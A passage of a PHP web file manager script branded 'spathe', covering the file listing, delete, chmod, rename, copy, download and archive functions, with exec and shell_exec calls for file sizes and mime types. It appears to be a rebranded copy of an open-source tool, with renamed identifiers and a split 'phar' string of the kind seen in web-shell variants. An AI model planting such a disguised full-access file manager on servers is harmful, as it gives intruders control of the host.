<label class="custom-control-label" for="<?php echo $uu ?>"></label>
</div>
</td><?php endif; ?>
<td data-sort=<?php echo fm_convert_win(fanco($f)) ?>>
<div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
</a><?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
</td>
<td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
<?php echo $filesize; ?>
</td>
<td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
<?php endif; ?>
<td class="inline-actions"><?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
<a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
<a title="<?php echo lng('CopyTo')?>..." href="?p=&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
<?php endif; ?>
<a title="<?php echo lng('DirectLink')?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
</td>
</tr>
<?php
flush();
$uu++;
}
$ik = 6070;
foreach ($files as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
$date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
$filesize_raw = fm_get_size($path . '/' . $f);
$filesize = fm_get_filesize($filesize_raw);
$filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($f);
$all_files_size += $filesize_raw;
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
if ($owner === false) {
$owner = array('name' => '?');
}
if ($group === false) {
$group = array('name' => '?');
}
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fanco($f) ?>">
<label class="custom-control-label" for="<?php echo $ik ?>"></label>
</div>
</td><?php endif; ?>
<td data-sort=<?php echo fanco($f) ?>>
<div class="filename">
<?php
if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
<?php $imagePreview = fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
<a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fanco($f) ?>">
<?php else: ?>
<a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
<?php endif; ?>
<i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
</a>
<?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
</div>
</td>
<td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
<?php echo $filesize; ?>
</span></td>
<td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo fanco($owner['name'] . ':' . $group['name']) ?></td>
<?php endif; ?>
<td class="inline-actions">
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
<a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
<a title="<?php echo lng('CopyTo') ?>..."
href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
<?php endif; ?>
<a title="<?php echo lng('DirectLink') ?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
<a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
</td>
</tr>
<?php
flush();
$ik++;
}
if (empty($folders) and empty($files)) { ?>
<tfoot>
<tr><?php if (!FM_READONLY): ?>
<td></td><?php endif; ?>
<td colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
</tr>
</tfoot>
<?php
} else { ?>
<tfoot>
<tr>
<td class="gray" colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>">
<?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?>
<?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?>
<?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?>
</td>
</tr>
</tfoot>
<?php } ?>
</table>
</div>
<div class="row">
<?php if (!FM_READONLY): ?>
<div class="col-xs-12 col-sm-9">
<ul class="list-inline footer-action">
<li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
<li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
<li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
<a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
<a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
<a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
<a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
</ul>
</div>
<div class="col-3 d-none d-sm-block"><a href="." target="_blank" class="float-right text-muted">spathe <?php echo VERSION; ?></a></div>
<?php else: ?>
<div class="col-12"><a href="." target="_blank" class="float-right text-muted">spathe <?php echo VERSION; ?></a></div>
<?php endif; ?>
</div>
</form>
<?php
fm_show_footer();
function print_external($key) {
global $external;
if(!array_key_exists($key, $external)) {
// throw new Exception('Key missing in external: ' . key);
echo "<!-- EXTERNAL: MISSING KEY $key -->";
return;
}
echo "$external[$key]";
}
function verifyToken($token)
{
if (hash_equals($_SESSION['token'], $token)) {
return true;
}
return false;
}
/**
* Delete file or folder (recursively)
* @param string $path
* @return bool
*/
function fm_rdelete($path)
{
if (is_link($path)) {
return unlink($path);
} elseif (is_dir($path)) {
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rdelete($path . '/' . $file)) {
$ok = false;
}
}
}
}
return ($ok) ? rmdir($path) : false;
} elseif (is_file($path)) {
return unlink($path);
}
return false;
}
function fm_rchmod($path, $filemode, $dirmode)
{
if (is_dir($path)) {
if (!chmod($path, $dirmode)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
return false;
}
}
}
}
return true;
} elseif (is_link($path)) {
return true;
} elseif (is_file($path)) {
return chmod($path, $filemode);
}
return false;
}
function fm_is_valid_ext($filename)
{
$allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;
$ext = pathinfo($filename, PATHINFO_EXTENSION);
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
return ($isFileAllowed) ? true : false;
}
function fm_rename($old, $new)
{
$isFileAllowed = fm_is_valid_ext($new);
if(!is_dir($old)) {
if (!$isFileAllowed) return false;
}
return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null;
}
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
if (is_dir($path)) {
if (!fm_mkdir($dest, $force)) {
return false;
}
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
$ok = false;
}
}
}
}
return $ok;
} elseif (is_file($path)) {
return fm_copy($path, $dest, $upd);
}
return false;
}
function fm_mkdir($dir, $force)
{
if (file_exists($dir)) {
if (is_dir($dir)) {
return $dir;
} elseif (!$force) {
return false;
}
unlink($dir);
}
return mkdir($dir, 0777, true);
}
function fm_copy($f1, $f2, $upd)
{
$time1 = filemtime($f1);
if (file_exists($f2)) {
$time2 = filemtime($f2);
if ($time2 >= $time1 and $upd) {
return false;
}
}
$ok = copy($f1, $f2);
if ($ok) {
touch($f2, $time1);
}
return $ok;
}
function fm_get_mime_type($file_path)
{
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file_path);
finfo_close($finfo);
return $mime;
} elseif (function_exists('mime_content_type')) {
return mime_content_type($file_path);
} elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
$file = escapeshellarg($file_path);
$mime = shell_exec('file -bi ' . $file);
return $mime;
} else {
return '--';
}
}
function fm_redirect($url, $code = 302)
{
header('Location: ' . $url, true, $code);
exit;
}
function get_absolute_path($path) {
$path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
$parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
$absolutes = array();
foreach ($parts as $part) {
if ('.' == $part) continue;
if ('..' == $part) {
array_pop($absolutes);
} else {
$absolutes[] = $part;
}
}
return implode(DIRECTORY_SEPARATOR, $absolutes);
}
function fm_clean_path($path, $trim = true)
{
$path = $trim ? trim($path) : $path;
$path = trim($path, '\\/');
$path = str_replace(array('../', '..\\'), '', $path);
$path = get_absolute_path($path);
if ($path == '..') {
$path = '';
}
return str_replace('\\', '/', $path);
}
function fm_get_parent_path($path)
{
$path = fm_clean_path($path);
if ($path != '') {
$array = explode('/', $path);
if (count($array) > 1) {
$array = array_slice($array, 0, -1);
return implode('/', $array);
}
return '';
}
return false;
}
function fm_get_display_path($file_path)
{
global $path_display_mode, $root_path, $root_url;
switch ($path_display_mode) {
case 'relative':
return array(
'label' => 'Path',
'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path)))
);
case 'host':
$relative_path = str_replace($root_path, '', $file_path);
return array(
'label' => 'Host Path',
'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
);
case 'full':
default:
return array(
'label' => 'Full Path',
'path' => fanco(fm_convert_win($file_path))
);
}
}
function fm_is_exclude_items($file) {
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
if (isset($exclude_items) and sizeof($exclude_items)) {
unset($exclude_items);
}
$exclude_items = FM_EXCLUDE_ITEMS;
if (version_compare(PHP_VERSION, '7.0.0', '<')) {
$exclude_items = unserialize($exclude_items);
}
if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) {
return true;
}
return false;
}
function fm_get_translations($tr) {
try {
$content = @file_get_contents('translation.json');
if($content !== FALSE) {
$lng = json_decode($content, TRUE);
global $lang_list;
foreach ($lng["language"] as $key => $value)
{
$code = $value["code"];
$lang_list[$code] = $value["name"];
if ($tr)
$tr[$code] = $value["translation"];
}
return $tr;
}
}
catch (Exception $e) {
echo $e;
}
}
function fm_get_size($file)
{
static $iswin;
static $isdarwin;
if (!isset($iswin)) {
$iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
}
if (!isset($isdarwin)) {
$isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
}
static $exec_works;
if (!isset($exec_works)) {
$exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC');
}
// try a shell command
if ($exec_works) {
$arg = escapeshellarg($file);
$cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
@exec($cmd, $output);
if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) {
return $size;
}
}
// try the Windows COM interface
if ($iswin and class_exists("COM")) {
try {
$fsobj = new COM('Scripting.FileSystemObject');
$f = $fsobj->GetFile( realpath($file) );
$size = $f->Size;
} catch (Exception $e) {
$size = null;
}
if (ctype_digit($size)) {
return $size;
}
}
// if all else fails
return filesize($file);
}
function fm_get_filesize($size)
{
$size = (float) $size;
$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
$power = ($size > 0) ? floor(log($size, 1024)) : 0;
$power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}
function fm_get_directorysize($directory) {
$bytes = 0;
$directory = realpath($directory);
if ($directory !== false and $directory != '' and file_exists($directory)){
foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
$bytes += $file->getSize();
}
}
return $bytes;
}
function fm_get_zif_info($path, $ext) {
if ($ext == 'zip' and function_exists('zip_open')) {
$arch = @zip_open($path);
if ($arch) {
$filenames = array();
while ($zip_entry = @zip_read($arch)) {
$zip_name = @zip_entry_name($zip_entry);
$zip_folder = substr($zip_name, -1) == '/';
$filenames[] = array(
'name' => $zip_name,
'filesize' => @zip_entry_filesize($zip_entry),
'compressed_size' => @zip_entry_compressedsize($zip_entry),
'folder' => $zip_folder
);
}
@zip_close($arch);
return $filenames;
}
} elseif($ext == 'tar' and class_exists('PharData')) {
$archive = new PharData($path);
$filenames = array();
foreach(new RecursiveIteratorIterator($archive) as $file) {
$parent_info = $file->getPathInfo();
$zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName());
$zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
$zip_folder = $parent_info->getFileName();
$zip_info = new SplFileInfo($file);
$filenames[] = array(
'name' => $zip_name,
'filesize' => $zip_info->getSize(),
'compressed_size' => $file->getCompressedSize(),
'folder' => $zip_folder
);
}
return $filenames;
}
return false;
}
function fanco($text)
{
return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}
function fm_isvalid_filename($text) {
return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}
function fm_set_msg($msg, $status = 'ok')
{
$_SESSION[DN_CESSION_ID]['message'] = $msg;
$_SESSION[DN_CESSION_ID]['status'] = $status;
}
function fm_is_utf8($string)
{
return preg_match('//u', $string);
}
function fm_convert_win($filename)
{
if (FM_IS_WIN and function_exists('iconv')) {
$filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
}
return $filename;
}
function fm_object_to_array($obj)
{
if (!is_object($obj) and !is_array($obj)) {
return $obj;
}
if (is_object($obj)) {
$obj = get_object_vars($obj);
}
return array_map('fm_object_to_array', $obj);
}
function fm_get_file_icon_class($path)
{
// get extension
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
switch ($ext) {
case 'ico':
case 'gif':
case 'jpg':
case 'jpeg':
case 'jpc':
case 'jp2':
case 'jpx':
case 'xbm':
case 'wbmp':
case 'png':
case 'bmp':
case 'tif':
case 'tiff':
case 'webp':
case 'avif':
case 'svg':
$img = 'fa fa-picture-o';
break;
case 'passwd':
case 'ftpquota':
case 'sql':
case 'js':
case 'ts':
case 'jsx':
case 'tsx':
case 'hbs':
case 'json':
case 'sh':
case 'config':
case 'twig':
case 'tpl':
case 'md':
case 'gitignore':
case 'c':
case 'cpp':
case 'cs':
case 'py':
case 'rs':
case 'map':
case 'lock':
case 'dtd':
$img = 'fa fa-file-code-o';
break;
case 'txt':
case 'ini':
case 'conf':
case 'log':
case 'htaccess':
case 'yaml':
case 'yml':
case 'toml':
case 'tmp':
case 'top':
case 'bot':
case 'dat':
case 'bak':
case 'htpasswd':
case 'pl':
$img = 'fa fa-file-text-o';
break;
case 'css':
case 'less':
case 'sass':
case 'scss':
$img = 'fa fa-css3';
break;
case 'bz2':
case 'tbz2':
case 'tbz':
case 'zip':
case 'rar':
case 'gz':
case 'tgz':
case 'tar':
case '7z':
case 'xz':
case 'txz':
case 'zst':
case 'tzst':
$img = 'fa fa-file-archive-o';
break;
case 'php':
case 'php4':
case 'php5':
case 'phps':
case 'phtml':
$img = 'fa fa-code';
break;
case 'htm':
case 'html':
case 'shtml':
case 'xhtml':
$img = 'fa fa-html5';
break;
case 'xml':
case 'xsl':
$img = 'fa fa-file-excel-o';
break;
case 'wav':
case 'mp3':
case 'mp2':
case 'm4a':
case 'aac':
case 'ogg':
case 'oga':
case 'wma':
case 'mka':
case 'flac':
case 'ac3':
case 'tds':
$img = 'fa fa-music';
break;
case 'm3u':
case 'm3u8':
case 'pls':
case 'cue':
case 'xspf':
$img = 'fa fa-headphones';
break;
case 'avi':
case 'mpg':
case 'mpeg':
case 'mp4':
case 'm4v':
case 'flv':
case 'f4v':
case 'ogm':
case 'ogv':
case 'mov':
case 'mkv':
case '3gp':
case 'asf':
case 'wmv':
case 'webm':
$img = 'fa fa-file-video-o';
break;
case 'eml':
case 'msg':
$img = 'fa fa-envelope-o';
break;
case 'xls':
case 'xlsx':
case 'ods':
$img = 'fa fa-file-excel-o';
break;
case 'csv':
$img = 'fa fa-file-text-o';
break;
case 'bak':
case 'swp':
$img = 'fa fa-clipboard';
break;
case 'doc':
case 'docx':
case 'odt':
$img = 'fa fa-file-word-o';
break;
case 'ppt':
case 'pptx':
$img = 'fa fa-file-powerpoint-o';
break;
case 'ttf':
case 'ttc':
case 'otf':
case 'woff':
case 'woff2':
case 'eot':
case 'fon':
$img = 'fa fa-font';
break;
case 'pdf':
$img = 'fa fa-file-pdf-o';
break;
case 'psd':
case 'ai':
case 'eps':
case 'fla':
case 'swf':
$img = 'fa fa-file-image-o';
break;
case 'exe':
case 'msi':
$img = 'fa fa-file-o';
break;
case 'bat':
$img = 'fa fa-terminal';
break;
default:
$img = 'fa fa-info-circle';
}
return $img;
}
function fm_get_image_exts()
{
return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}
function fm_get_video_exts()
{
return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}
function fm_get_audio_exts()
{
return array('wav', 'mp3', 'ogg', 'm4a');
}
function fm_get_text_exts()
{
return array(
'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config',
'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue',
'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift',
'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml',
'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars',
'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl'
);
}
function fm_get_text_mimes()
{
return array(
'application/xml',
'application/javascript',
'application/x-javascript',
'image/svg+xml',
'message/rfc822',
'application/json',
);
}
function fm_get_text_names()
{
return array(
'license',
'readme',
'authors',
'contributors',
'changelog',
);
}
function fm_get_onlineViewer_exts()
{
return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}
function fm_get_file_mimes($extension)
{
$fileTypes['swf'] = 'application/x-shockwave-flash';
$fileTypes['pdf'] = 'application/pdf';
$fileTypes['exe'] = 'application/octet-stream';
$fileTypes['zip'] = 'application/zip';
$fileTypes['doc'] = 'application/msword';
$fileTypes['xls'] = 'application/vnd.ms-excel';
$fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
$fileTypes['gif'] = 'image/gif';
$fileTypes['png'] = 'image/png';
$fileTypes['jpeg'] = 'image/jpg';
$fileTypes['jpg'] = 'image/jpg';
$fileTypes['webp'] = 'image/webp';
$fileTypes['avif'] = 'image/avif';
$fileTypes['rar'] = 'application/rar';
$fileTypes['ra'] = 'audio/x-pn-realaudio';
$fileTypes['ram'] = 'audio/x-pn-realaudio';
$fileTypes['ogg'] = 'audio/x-pn-realaudio';
$fileTypes['wav'] = 'video/x-msvideo';
$fileTypes['wmv'] = 'video/x-msvideo';
$fileTypes['avi'] = 'video/x-msvideo';
$fileTypes['asf'] = 'video/x-msvideo';
$fileTypes['divx'] = 'video/x-msvideo';
$fileTypes['mp3'] = 'audio/mpeg';
$fileTypes['mp4'] = 'audio/mpeg';
$fileTypes['mpeg'] = 'video/mpeg';
$fileTypes['mpg'] = 'video/mpeg';
$fileTypes['mpe'] = 'video/mpeg';
$fileTypes['mov'] = 'video/quicktime';
$fileTypes['swf'] = 'video/quicktime';
$fileTypes['3gp'] = 'video/quicktime';
$fileTypes['m4a'] = 'video/quicktime';
$fileTypes['aac'] = 'video/quicktime';
$fileTypes['m3u'] = 'video/quicktime';
$fileTypes['php'] = ['application/x-php'];
$fileTypes['html'] = ['text/html'];
$fileTypes['txt'] = ['text/plain'];
//Unknown mime-types should be 'application/octet-stream'
if(empty($fileTypes[$extension])) {
$fileTypes[$extension] = ['application/octet-stream'];
}
return $fileTypes[$extension];
}
function scan($dir = '', $filter = '') {
$path = FM_ROOT_PATH.'/'.$dir;
if($path) {
$ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
$rii = new RegexIterator($ite, "/(" . $filter . ")/i");
$files = array();
foreach ($rii as $file) {
if (!$file->isDir()) {
$fileName = $file->getFilename();
$location = str_replace(FM_ROOT_PATH, '', $file->getPath());
$files[] = array(
"name" => $fileName,
"type" => "file",
"path" => $location,
);
}
}
return $files;
}
}
function fm_download_file($fileLocation, $fileName, $chunkSize = 1024)
{
if (connection_status() != 0)
return (false);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$contentType = fm_get_file_mimes($extension);
$size = filesize($fileLocation);
if ($size == 0) {
fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
return (false);
}
@ini_set('magic_quotes_runtime', 0);
$fp = fopen("$fileLocation", "rb");
if ($fp === false) {
fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
return (false);
}
// headers
header('Content-Description: File Transfer');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header("Content-Transfer-Encoding: binary");
header("Content-Type: $contentType");
$contentDisposition = 'attachment';
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
$fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
} else {
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
}
header("Accept-Ranges: bytes");
$range = 0;
if (isset($_SERVER['HTTP_RANGE'])) {
list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
str_replace($range, "-", $range);
$size2 = $size - 1;
$new_length = $size - $range;
header("HTTP/1.1 206 Partial Content");
header("Content-Length: $new_length");
header("Content-Range: bytes $range$size2/$size");
} else {
$size2 = $size - 1;
header("Content-Range: bytes 0-$size2/$size");
header("Content-Length: " . $size);
}
$fileLocation = realpath($fileLocation);
while (ob_get_level()) ob_end_clean();
readfile($fileLocation);
fclose($fp);
return ((connection_status() == 0) and !connection_aborted());
}
function fm_get_theme() {
$result = '';
if(FM_THEME == "dark") {
$result = "text-white bg-dark";
}
return $result;
}
class FM_Zipper
{
private $zip;
public function __construct()
{
$this->zip = new ZipArchive();
}
public function create($filename, $files)
{
$res = $this->zip->open($filename, ZipArchive::CREATE);
if ($res !== true) {
return false;
}
if (is_array($files)) {
foreach ($files as $f) {
$f = fm_clean_path($f);
if (!$this->addFileOrDir($f)) {
$this->zip->close();
return false;
}
}
$this->zip->close();
return true;
} else {
if ($this->addFileOrDir($files)) {
$this->zip->close();
return true;
}
return false;
}
}
public function unzip($filename, $path)
{
$res = $this->zip->open($filename);
if ($res !== true) {
return false;
}
if ($this->zip->extractTo($path)) {
$this->zip->close();
return true;
}
return false;
}
private function addFileOrDir($filename)
{
if (is_file($filename)) {
return $this->zip->addFile($filename);
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
private function addDir($path)
{
if (!$this->zip->addEmptyDir($path)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
if (!$this->zip->addFile($path . '/' . $file)) {
return false;
}
}
}
}
return true;
}
return false;
}
}
class FM_Zipper_Tar
{
private $tar;
public function __construct()
{
$this->tar = null;
}
public function create($filename, $files)
{
$this->tar = new PharData($filename);
if (is_array($files)) {
foreach ($files as $f) {
$f = fm_clean_path($f);
if (!$this->addFileOrDir($f)) {
return false;
}
}
return true;
} else {
if ($this->addFileOrDir($files)) {
return true;
}
return false;
}
}
public function unzip($filename, $path)
{
$res = $this->tar->open($filename);
if ($res !== true) {
return false;
}
if ($this->tar->extractTo($path)) {
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
try {
$this->tar->addFile($filename);
return true;
} catch (Exception $e) {
return false;
}
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
private function addDir($path)
{
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
try {
$this->tar->addFile($path . '/' . $file);
} catch (Exception $e) {
return false;
}
}
}
}
return true;
}
return false;
}
}
class FM_Config
{
var $data;
function __construct()
{
global $root_path, $root_url, $CONFIG;
$fm_url = $root_url.$_SERVER["PHP_SELF"];
$this->data = array(
'lang' => 'en',
'error_reporting' => true,
'show_hidden' => true
);
$data = false;
